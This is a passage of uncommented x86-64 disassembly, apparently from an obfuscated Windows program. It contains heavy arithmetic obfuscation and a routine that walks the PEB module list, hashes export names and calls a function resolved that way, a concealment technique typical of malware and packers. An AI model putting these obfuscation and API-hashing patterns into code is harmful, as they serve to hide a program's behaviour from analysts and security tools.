xor r11, r9
mov cl, r14b
xor cl, 0xfa
and cl, 0xf
rol r11, cl
mov rax, r14
sub rax, qword [0x14033e078]
xor r11, rax
movabs rax, 0x26ee63228f3d8326
imul r12, rax
movabs rax, 0x2ee49f6d274b4ef1
sub r12, rax
xor r11, r12
xor r11, r10
xor r11, rdi
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140284d6d
sub rax, 1
je 0x140284c45
sub rax, 1
je 0x140284b50
cmp rax, 1
jne 0x140284e18
mov r9, r14
imul r9, rbx
movabs rax, 0x613f1e858cc19a7d
add rax, r11
xor r9, rax
ror r9, 0xa
shr r9, 0xc
xor r9, rdi
not r9
movabs rcx, 0x8357207d61e2
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x629d37c9c1d9193d
xor rdx, rax
movzx eax, r11b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9789d8d1d
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, r8
mov eax, 0xa9465ff7
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x27ccd70888b495d0
sub r8, r9
shr r8, cl
movabs rax, 0x6227d73a06818795
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, rsi
xor r8, rax
jmp 0x140284e18
movabs rax, 0xaaaaaa1aa95fa2c9
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed6b527e85
imul rcx, rax
movabs r15, 0xfff17ca87e3d94b5
mov rax, r10
xor rax, r15
sub rcx, rax
movabs rax, 0xffff7e8a8f4f9015
imul rdx, rax
movabs rbx, 0x249a18892d2adf62
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be7b8f75a9
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r14, rbx
not r14
lea rax, [0x14033e060]
imul r14, qword [rax + rcx*8]
xor r14, 0xfffffffffc0a7419
lea ecx, [r11 + 0xb]
and cl, 0x3f
rol r14, cl
movabs rcx, 0xdf97debfeaf28157
xor r13, rcx
movabs rcx, 0x7c7a7dc6950d7ea8
and r13, rcx
imul r14, r13
mov rcx, r14
ror rcx, 0x1e
not rcx
movabs rax, 0x9b2de6b2d18fde38
imul rcx, rax
mov rax, rbx
sub rax, r14
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x140284e18
movabs rax, 0xb49521319f1794b5
imul r11, rax
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x621fb2b1aabf5858
mov rax, rdi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r14b
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4e5540a7a7
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f59bd4e4
or r10, rax
mov r8, qword [0x14033e070]
imul r8, r9
sub r8, r14
mov rax, rsi
sub rax, r10
xor r8, rax
movabs rax, 0xc7a7c6a6a493d4e9
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul rdi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rdi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, r14
imul rdx, r8
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, rdi
movabs rdi, 0x78958946bc198f3
add rdi, rax
xor rdi, rsi
mov al, bl
add al, al
lea ecx, [rax + rbx]
shl cl, 2
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140284e18
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r14
not rsi
imul rsi, rbx
movabs rax, 0x7cd8a7de79628508
imul rsi, rax
mov rax, r10
imul rax, rdi
mov rdi, rsi
xor rdi, rax
imul rsi, qword [0x14033e060], 0xfffffffffe4a286a
mov rdx, qword [0x14033e068]
sub rsi, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140284e0b
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
add rsi, r15
add rsi, qword [rbp + 0x558]
movabs rax, 0xff055d7b89298fc5
xor r9, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rdi
lea rax, [0x14033e060]
imul r10, qword [rax + r9*8]
not r14
imul r14, r11
imul r14, rsi
imul r14, r8
movabs rcx, 0xf5ed7e878e9ac519
xor rcx, rbx
not rcx
xor rcx, r14
sub rcx, r10
call fcn.14001fb84
mov qword [0x14034c9e8], rax
xor r15d, r15d
mov dword [rbp - 8], r15d
mov dword [rbp - 8], 0x59958a1c
mov eax, dword [rbp - 8]
add eax, 0xd458c235
xor eax, 0x578a665d
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x241d66bb
xor eax, 0xa1f07473
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xbb42154d
add eax, ecx
xor eax, 0x75cb3c85
add eax, 0x2790e19d
xor eax, 0xd30af151
mov edx, dword [0x14033e030]
xor edx, 0x24ae9ea3
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdb51615c
sub edx, eax
sub edx, ecx
add edx, 0x5c51317c
xor edx, 0xfb6fc594
mov dword [rbp - 8], edx
movsxd rax, edx
mov qword [rbp + 0x558], rax
mov dword [rbp - 8], r15d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.140021474
mov dword [rbp - 4], r15d
mov dword [rbp - 4], 0xd25bd246
mov qword [rbp + 0xd0], r15
movabs rax, 0x7020a1684b6fcd13
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], r15
movabs rax, 0xf3ad678596628467
mov qword [rbp + 0xd8], rax
movabs rcx, 0xf33a52b69ae6e803
add rcx, qword [rbp + 0xd8]
movabs rax, 0xd553662530a2ceb
xor rcx, rax
mov r11, qword [0x14033e058]
sub rcx, r11
mov r10, qword [0x14033e050]
sub rcx, r10
movabs rax, 0xedf047f5b3643b7
sub rcx, rax
movabs rax, 0xf8f8cd97dc48160d
xor rcx, rax
mov r9, qword [0x14033e048]
sub rcx, r9
movabs rax, 0xc7d654b8c93c20fd
add rcx, rax
mov rbx, qword [0x14033e040]
add rcx, rbx
movabs rax, 0x5a9179a7b7511965
xor rcx, rax
movabs rax, 0x5f627dc6e0b27c88
sub rcx, rax
movabs rax, 0x9e3b3cd213c5a9f9
xor rcx, rax
movabs rdx, 0x3483ce443019bcb8
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94ada6b99f4
mov r8, qword [0x14033e038]
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52594660b
mov rdi, qword [0x14033e030]
mov rcx, rdi
xor rcx, rax
movabs r14, 0xe0b56d8fed9c00c9
add r14, rdx
add r14, rcx
movabs rax, 0x78847e378706d57c
xor r14, rax
mov qword [rbp + 0xd8], r14
movabs rcx, 0xf33a52b71bfa3583
add rcx, qword [rbp + 0xd0]
movabs rax, 0x5ad53662530aadfe
xor rcx, rax
sub rcx, r11
sub rcx, r10
movabs rax, 0x7120fb80a3468261
add rcx, rax
movabs rax, 0xf8f8cd9759307b57
xor rcx, rax
sub rcx, r9
movabs rax, 0x87d654b81a066d4a
add rcx, rax
add rcx, rbx
movabs rax, 0x5a9179a7241714ff
xor rcx, rax
movabs rax, 0x5f627dc68171535a
sub rcx, rax
movabs rax, 0x323b3cd1d337fa9e
xor rcx, rax
movabs rdx, 0xb483ce43b28df657
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94adc6fe72a
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5239018d5
mov rcx, rdi
xor rcx, rax
movabs rsi, 0xe0b56d91f3ed7c7f
add rsi, rdx
add rsi, rcx
movabs rax, 0x63f67832ac6745f2
xor rsi, rax
mov qword [rbp + 0xd0], rsi
mov eax, dword [rbp - 4]
add eax, 0xda1a68b5
xor eax, 0xfe0a6c1e
sub eax, r10d
sub eax, r11d
sub eax, 0x5bf3de38
xor eax, 0x9c17c759
sub eax, r9d
add eax, 0xf371b7ca
add eax, ebx
xor eax, 0x6f3a5a9b
add eax, 0x283b4997
xor eax, 0x9c29f004
xor edi, 0x24979809
sub edi, eax
xor r8d, 0xdb6867f6
sub edi, r8d
sub edi, ebx
sub edi, 0x6f9daf8
xor edi, 0x9e7fb7a6
mov dword [rbp - 4], edi
mov eax, dword [0x14035ca24]
test eax, eax
jne 0x140285193
mov eax, r15d
jmp 0x1402851b7
mov dword [rbp + 0x218], eax
lea rax, [rbp + 0x208]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.140291310
movsxd rcx, edi
mov rdx, r15
cmp rax, rcx
setb dl
and rsi, r14
mov rax, r15
cmp rdx, rsi
sete al
mov qword [rbp + 0x558], rax
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xd0], r15
mov dword [rbp - 4], r15d
movabs rax, 0x3000000000000000
movabs r9, 0xf1528e1aad9061ad
movabs r8, 0x808adfa0fc71e71f
mov rsi, qword [0x14033e078]
imul rsi, rax
movabs rax, 0xd000000000000000
xor rsi, rax
mov r13, rsi
imul r13, r8
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rsi
and r10, r8
lea rbx, [0x14033e060]
imul r10, qword [rbx + rcx*8]
movabs rax, 0xeaf23179835b068e
imul r10, rax
shr r10, 3
movabs rax, 0x7227b37c663ecf21
xor r10, rax
movabs rax, 0xffffff57d775cc01
mov r14, rsi
imul r14, rax
sub r14, 0x15fc17a
xor r14, r10
xor r14, qword [0x14033e060]
mov rax, r10
imul rax, qword [0x14033e070]
movabs rcx, 0xb9de928bdec67320
imul rax, rcx
not rax
and r14, rax
ror r14, 0xe
shr r14, 8
movabs r15, 0x7f75205f038e18e1
lea rcx, [rsi + r15]
xor rcx, 0xffffffffe048782d
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xbbb194c9d554c240
mov rdi, qword [rbx + rcx*8]
imul rdi, rax
sub rdi, r15
movabs rcx, 0x69bb0f66d7efbbcc
mov rax, r10
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r12, rdi
xor r12, rsi
lea rcx, [rdi + r15]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x31
and ecx, 0x8000003f
jge 0x140285357
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffea03e86
mov qword [rsp + 0x78], rdx
lea r11, [rdx + r15]
mov rbx, rdi
imul rbx, r14
sub rbx, r11
xor rbx, r9
mov cl, r11b
xor cl, 0xfe
and cl, 0xf
rol rbx, cl
mov rax, r11
sub rax, qword [0x14033e078]
xor rbx, rax
movabs rax, 0x6d7eeec9eef87c3a
imul r12, rax
movabs rax, 0x25655a72e206f5c1
sub r12, rax
xor rbx, r12
xor rbx, r10
xor rbx, rsi
mov rax, rbx
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x1402856f5
sub rax, 1
je 0x1402855d2
sub rax, 1
je 0x1402854de
cmp rax, 1
jne 0x14028579e
mov r9, r11
imul r9, rdi
movabs rax, 0xe01d237447ffaae1
add rax, rbx
xor r9, rax
ror r9, 0x36
shr r9, 0xc
xor r9, rsi
not r9
movabs rcx, 0x83573c377d26
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x7ff7a52774a24541
xor rdx, rax
movzx eax, bl
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db964d791d9
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
imul rcx, r8
mov eax, 0xb50c4333
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14033e060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x344f86f8e6ef6e28
sub r8, r9
shr r8, cl
movabs rdx, 0x7f7d44e74b164ce1
mov rcx, qword [rsp + 0x78]
add rcx, rdx
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, rbx
imul rax, qword [r12 + rcx*8]
imul rax, rbx
sub rax, r14
xor r8, rax
jmp 0x14028579e
movabs rax, 0xaaaaaa1ab515be0d
mov rcx, rbx
xor rcx, rax
movabs rax, 0x1206ed77186241
imul rcx, rax
movabs rdi, 0xfff17ca862778871
mov rax, r10
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a93058cd1
imul rdx, rax
movabs rdi, 0xf2fb367df07e882
add rdi, rcx
add rdi, rdx
movabs rax, 0x277cd7be67c5696d
mov rcx, rdi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r11, rdi
not r11
lea rax, [0x14033e060]
imul r11, qword [rax + rcx*8]
xor r11, 0xffffffffe04068dd
lea ecx, [rbx + 0xf]
and cl, 0x3f
rol r11, cl
movabs rcx, 0x284871c200000000
xor r13, rcx
movabs rcx, 0x7c7a7dc68947626c
and r13, rcx
imul r11, r13
mov rcx, r11
ror rcx, 0x3d
not rcx
movabs rax, 0x9b2de6b2a0a7ad28
imul rcx, rax
mov rax, rdi
sub rax, r11
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x14028579e
movabs rcx, 0xcc341b28bb781851
imul rbx, rcx
movabs rax, 0xd79435e50d79435f
mul rbx
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, bl
sub cl, dl
movabs rdx, 0x7f75205f038e18e0
mov rax, rsi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r11b
and cl, 0x3f
rol r10, cl
lea rcx, [rbx + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1fa0fc71e71f
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7e9d1c820
or r10, rax
mov r8, qword [0x14033e070]
imul r8, r9
sub r8, r11
mov rax, r14
sub rax, r10
xor r8, rax
movabs rcx, 0xc7a7c6a6b8d9c82d
xor r8, rcx
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, rbx
imul rdx, r11
imul rdx, r8
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, rsi
movabs rsi, 0x7895894778b8437
add rsi, rax
xor rsi, r14
mov cl, dil
shl cl, 3
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x14028579e
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, rbx
imul rax, qword [0x14033e080]
lea rdx, [0x14033e060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r11
not r14
imul r14, rdi
movabs rax, 0x7cd8a7de652899cc
imul r14, rax
mov rax, r10
imul rax, rsi
mov rsi, r14
xor rsi, rax
imul r14, qword [0x14033e060], 0xfffffffffea03e86
mov rdx, qword [0x14033e068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140285793
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x78]
movabs rcx, 0xff055d7b95639301
xor r9, rcx
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rsi
lea rax, [0x14033e060]
imul r10, qword [rax + r9*8]
not r11
imul r11, rbx
imul r11, r14
imul r11, r8
movabs rcx, 0xf5ed7e8792d0d9dd
xor rcx, rdi
not rcx
xor rcx, r11
sub rcx, r10
call fcn.14001fde8
mov qword [0x14034c998], rax
mov rax, qword [rbp + 0x558]
and dword [rbp], 0
mov dword [rbp], 0x846eb7b
mov eax, dword [rbp]
add eax, 0xd8932308
xor eax, 0xb85d6a97
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x54ef4868
xor eax, 0x51a52a1c
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x4b04d6e1
add eax, ecx
xor eax, 0xc4f8a614
sub eax, 0x3b5882e9
xor eax, 0x4a559f15
lea edx, [rcx + 0x391d3750]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0x27624ae0
sub edx, eax
mov eax, dword [0x14033e030]
xor eax, 0xd89db51f
add eax, 0x3183ddc9
add eax, edx
xor eax, 0x2f377120
mov dword [rbp], eax
and dword [rbp], 0
jmp 0x14028a175
movabs rsi, 0xfd46c8ea64c7e1f3
movabs rbx, 0xc91ff723f7081195
mov rdi, r15
movabs rax, 0x6ef05b39ed9a1d48
movabs r11, 0x69d264945e996cbe
mov r13, qword [0x14033e070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0x962d9b6bad0647ec
mov rax, qword [0x14033e060]
xor rax, rcx
and r14, rax
ror r14, 0x38
shr r14, 8
movabs rax, 0x6de5cee14b0967d8
mov r9, r13
imul r9, rax
movabs r8, 0x36e008dc08f7ee6b
sub r9, r8
movabs rax, 0x2dfe3c2400000000
xor r9, rax
shr r9, 0x1f
not r9
lea rcx, [r9 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r9b
lea rdx, [0x14033e060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xcd
mov edx, 0x8000003f
and ecx, edx
jge 0x14028596f
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r9
ror rax, cl
not rax
movabs rcx, 0x2ba21a2ef66abedc
mov r12, rax
imul r12, rcx
add r8, r12
mov r10, r9
imul r10, r14
sub r10, r8
xor r10, rsi
movzx r15d, r8b
mov ecx, r15d
xor ecx, 2
and ecx, 0xf
and ecx, edx
jge 0x1402859b1
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
movabs rcx, 0xd1b16942bdadb20c
imul rax, rcx
movabs rcx, 0x4898e6eca08520b9
sub rax, rcx
xor r10, rax
mov rax, r8
sub rax, qword [0x14033e078]
xor r10, rax
xor r10, r11
mov rax, r10
and eax, 1
xor rax, 2
je 0x140285cd2
sub rax, 1
je 0x140285bd2
sub rax, 1
je 0x140285b00
cmp rax, 1
jne 0x140285d51
mov rsi, r8
imul rsi, r9
movabs rax, 0x8805dfda6f64edbf
add rax, r10
xor rsi, rax
ror rsi, 2
shr rsi, 0xc
not rsi
movabs rcx, 0x83573e6cc5da
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0x36628da47d800b37
xor rdx, rax
movzx eax, sil
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9668c2925
sub rax, r9
mov r9, rdx
xor r9, rax
mov rcx, r9
imul rcx, rbx
mov eax, 0xb757fbcf
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x14033e060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xcbffedaf6b7c7856
sub rbx, rsi
shr rbx, cl
movabs rcx, 0x36e82d644ecb796f
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r13 + rcx*8]
imul rax, r10
sub rax, r14
xor rbx, rax
jmp 0x140285d51
movabs rcx, 0xaaaaaa1ab74e06f1
mov r9, r10
xor r9, rcx
movabs rcx, 0x1206ed7543dabd
imul r9, rcx
movabs rcx, 0xffff7e8a915e342d
imul r12, rcx
movabs rcx, 0x617e8f9068f57cc9
add r9, rcx
add r9, r12
movabs rax, 0x277cd7be659ed191
mov rcx, r9
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r9
not r8
lea rax, [0x14033e060]
imul r8, qword [rax + rcx*8]
xor r8, 0xffffffffe21bd021
lea ecx, [r10 - 0xd]
and cl, 0x3f
rol r8, cl
movabs rax, 0x306201c080000000
imul r8, rax
mov rcx, r8
ror rcx, 0x1f
not rcx
movabs rax, 0x9b2de6b2a9c94ed8
imul rcx, rax
mov rax, r9
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140285d51
movabs rax, 0x4676634ad45ddda5
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x2b937159b381e0c
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
and r15d, 0x8000003f
jge 0x140285c25
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r11, cl
movabs rcx, 0x36e008dc08f7ee6b
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff723f7081195
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7eb8a70dc
or r11, rax
mov rbx, r13
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6ba8270d1
xor rbx, rax
mov rax, r10
imul rax, r8
imul rax, rbx
mov rdi, r9
sub rdi, rax
movabs rax, 0x789589475d03ccb
add rdi, rax
xor rdi, r14
movzx eax, r9b
imul ecx, eax, 0xf4
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140285d51
mov rcx, r10
imul rcx, qword [0x14033e080]
and rcx, qword [0x14033e080]
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x3e
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r9
movabs rax, 0x7cd8a7de67732130
imul rdi, rax
imul r14, qword [0x14033e060], 0xfffffffff39f2b52
mov rdx, qword [0x14033e068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140285d3e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x36e008dc08f7ee6b
add r14, rax
add r14, r12
movabs rax, 0xff055d7b97382bfd
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x14033e060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r10
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e87908b6121
xor rcx, r9
not rcx
xor rcx, r8
sub rcx, r11
call fcn.14027fa40
mov qword [0x14034c9e8], rax
xor ebx, ebx
mov r14d, 0xb6aaf82e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r13d, 0x4764996c
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140285e2f
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x711520b0
jmp 0x140285e21
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, r13d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x140285e04
cmp r9d, ebx
jne 0x140285f2d
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x140285f2d
mov edi, dword [r11 + 0x18]
test edi, edi
je 0x140285f2d
mov r12d, dword [r11 + 0x20]
dec edi
lea rdx, [r9 + rdi*4]
mov r10d, dword [rdx + r12]
add r10, r9
mov esi, 0x711520b0
jmp 0x140285e90
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, 0x31
xor edx, r13d
xor r8d, esi
mov esi, edx
imul esi, r8d
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x140285e76
cmp esi, r14d
je 0x140285ea8
test edi, edi
jne 0x140285e62
jmp 0x140285f2d
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + rdi*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x140285f35
lea rax, [rcx + r11]
cmp r8, rax
jae 0x140285f35
mov ebx, 0x711520b0
mov r14d, ebx
jmp 0x140285ef1
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, r13d
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140285ed9
jmp 0x140285f12
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, r13d
xor ecx, r14d
mov r14d, eax
imul r14d, ecx
inc r8
mov al, byte [r8]
test al, al
jne 0x140285efa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140285dd8
mov rcx, qword [rbp + 0x90]
call r8
mov rsi, rax
mov qword [rbp - 0x70], rax
and qword [rbp + 0xe0], 0
movabs rax, 0x19b6a31710660448
mov qword [rbp + 0xe0], rax
movabs rax, 0xf33a52b50e26eb03
mov rdx, qword [rbp + 0xe0]
add rdx, rax
movabs rax, 0x105536625308a02b
xor rdx, rax
sub rdx, qword [0x14033e058]
sub rdx, qword [0x14033e050]
movabs rax, 0xedf047f569003c0
sub rdx, rax
movabs rax, 0xf8f8cd996f3b1301
xor rdx, rax
sub rdx, qword [0x14033e048]
movabs rcx, 0x47d654bae3cabceb
add rcx, rdx
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179a97bdc15f9
xor rcx, rax
movabs rax, 0x5f627dc6fb9b7bcc
sub rcx, rax
movabs rax, 0x863b3cd2da320e78
xor rcx, rax
movabs rax, 0x3483ce45b20079cd
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad4389a00
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52bc765ff
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d89d46b0d55
add rax, rdx
add rax, rcx
movabs rcx, 0x133843216f236600
xor rax, rcx
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xe0], rax
and dword [rbp + 4], 0
mov dword [rbp + 4], 0x912b2675
mov eax, dword [rbp + 4]
add eax, 0xea3ae8b8
xor eax, 0x7e0d7c3f
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x65243fb8
xor eax, 0x7fb6c556
